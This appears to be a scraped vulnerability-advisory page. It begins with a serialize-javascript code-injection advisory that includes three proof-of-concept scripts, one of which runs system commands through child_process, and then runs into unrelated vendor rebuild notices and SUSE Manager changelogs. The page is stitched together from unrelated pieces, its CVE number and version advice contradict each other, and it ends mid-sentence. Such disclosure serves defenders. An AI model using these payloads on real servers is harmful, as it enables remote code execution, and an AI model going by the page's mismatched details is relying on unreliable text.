CVE-2019-16769

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Versions of serialize-javascript prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.

Recommendation

Upgrade to version 2.1.1 or later.

TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 6.0.2-tuxcare.1.

TuxCare rebuilt formidable to address 4 CVEs. Fixed in 2.1.2-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 2 CVEs. Fixed in 1.9.1-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 5.0.1-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 4.0.0-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 3.1.0-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 2.1.2-tuxcare.1.

TuxCare rebuilt tar to address 4 CVEs. Fixed in 6.0.2-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 3 CVEs. Fixed in 3.0.0-tuxcare.1.

TuxCare rebuilt serialize-javascript to address 1 CVE. Fixed in 7.0.2-tuxcare.1.

Root has patched CVE-2019-16769 in the @rootio/serialize-javascript package for Root:npm. Multiple fixed versions available.

Root has patched GHSA-5c6j-r48x-rmvq in the serialize-javascript package for Root:npm. Multiple fixed versions available.

This update fixes the following issues:

mgr-osad:

• Take care that osad is not disabled nor deactivated during update (bsc#1157700, bsc#1158697)

patterns-suse-manager:

• Add recommends for virtualization-host-formula to suma_server pattern
• Add recommends for virtualization-host-formula to retail

spacecmd:

• Bugfix: attempt to purge SSM when it is empty (bsc#1155372)

spacewalk-backend:

• Fix mgrcfg-client python3 breakage (bsc#1164309)
• Update doc link to point to new documentation server
• Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)
• When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)
• Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)
• Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)
• Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)
• Close config files after reading them (bsc#1158283)
• Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)

spacewalk-certs-tools:

• Add 'start_event_grains' minion option to configfile when generated by bootstrap script
• Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)
• Add additional minion options to configfile when generated by bootstrap script (bsc#1159492)
• Change the order to check the version correctly for RES (bsc#1152795)

spacewalk-client-tools:

• Spell correctly 'successful' and 'successfully'

spacewalk-web:

• Don't validate mandatory fields that are not visible (bsc#1158943)
• Fix count of changes to build (bsc#1160940)
• Report merge_subscriptions message in a readable way (bsc#1140332)
• Fix ordering by date (bsc#1158818)

supportutils-plugin-susemanager-client:

• Rename rhncfg-actions to mgr-cfg-actions

supportutils-plugin-susemanager-proxy:

• Rename rhncfg-actions to mgr-cfg-actions

How to apply this update:

1. Log in as root user to the SUSE Manager proxy.
2. Stop the proxy service: spacewalk-proxy stop
3. Apply the patch using either zypper patch or YaST Online Update.
4. Start the Spacewalk service: spacewalk-proxy start

This update fixes the following issues:

branch-network-formula:

• Update formula to include terminal naming and identification

image-sync-formula:

• Prevent installing xdelta3 package and disable delta functionality on SLE12 branch servers (bsc#1159553)

mgr-osad:

• Take care that osad is not disabled nor deactivated during update (bsc#1157700, bsc#1158697)

patterns-suse-manager:

• Add recommends for virtualization-host-formula to suma_server pattern
• Add recommends for virtualization-host-formula to retail

prometheus-formula:

• Bugfix: disabled fields not enabled when checkbox is checked

pxe-default-image-sle15:

• Adapt to new kiwi version to fix pre registration in the bare-metal image (bsc#1153269)

pxe-formula:

• Add support for new features in terminal naming
• Remove branch_id from pxe form, moved to branch-network form

py26-compat-salt:

• Replace pycrypto with M2Crypto as dependency for SLE15+

python-susemanager-retail:

• Add support for terminal naming block
• Add delta support for SLE15 tar.xz bundles

redstone-xmlrpc:

• Disable external entity parsing (1790381, bsc#1164120, CVE-2020-1693)
• Do not download external entities (1555429, bsc#1085414, CVE-2018-1077)

salt-netapi-client:

• Version 0.17.0 See: https://github.com/SUSE/salt-netapi-client/releases/tag/v0.17.0

spacecmd:

• Bugfix: attempt to purge SSM when it is empty (bsc#1155372)

spacewalk-admin:

• Spell correctly 'successful' and 'successfully'

spacewalk-backend:

• Fix mgrcfg-client python3 breakage (bsc#1164309)
• Update doc link to point to new documentation server
• Prevent timestamp format exception on mgr-inter-sync while processing comps (bsc#1157346)
• When downloading repo metadata, don't add '/' to the repo url if it already ends with one (bsc#1158899)
• Use HTTP proxy settings when fetching the mirrorlist on spacewalk-repo-sync (bsc#1159076)
• Enhance suseProducts via ISS to fix SP migration on slave server (bsc#1159184)
• Prevent a traceback when reposyncing openSUSE 15.1 (bsc#1158672)
• Close config files after reading them (bsc#1158283)
• Associate VMs and systems with the same machine ID at bootstrap (bsc#1144176)

spacewalk-certs-tools:

• Add 'start_event_grains' minion option to configfile when generated by bootstrap script
• Forbid multiple activation keys for salt minions during bootstrap (bsc#1164452)
• Add additional minion options to configfile when generated by bootstrap script (bsc#1159492)
• Change the order to check the version correctly for RES (bsc#1152795)

spacewalk-client-tools:

• Spell correctly 'successful' and 'successfully'

system-lock-formula:

• Clarified terms along documentation and product (bsc#1166061)

spacewalk-java:

• Feat: enable Salt system lock when CaaSP node is onboarded and add depedency to 'system-lock-formula' (bsc#1165541)
• Support non discoverable fqdns via custom grain (bsc#1155281)
• Handle the non-existent requested grains gracefully
• Get the machineid grain from the minion startup event
• Use term 'patch' instead of 'errata' (bsc#1164649)
• Enable provisioning API with salt and bootstrap entitled systems
• Fix a problem with removing the monitoring entitlement from a system
• Improve performance when adding systems to system groups (bsc#1158754)
• Migrate pillar and formula data on minion id change (bsc#1161755)
• Change doc links pointing to new documentation server
• Call saltutil.sync_all before calling highstate (bsc#1152673)
• Exclude base products from PAYG (Pay-As-You-Go) instances when doing subscription matching
• Show additional headers and dependencies for deb packages
• Show adequate message on saving formulas that change only pillar data
• Fix mgr-sync add channel when fromdir is configured (bsc#1160184)
• Handle not found re-activation key (bsc#1159012)
• Write a list of formulas sorted by execution order (bsc#1083326)
• Use channel name from product tree instead of constructing it (bsc#1157317)
• Read the subscriptions from the output…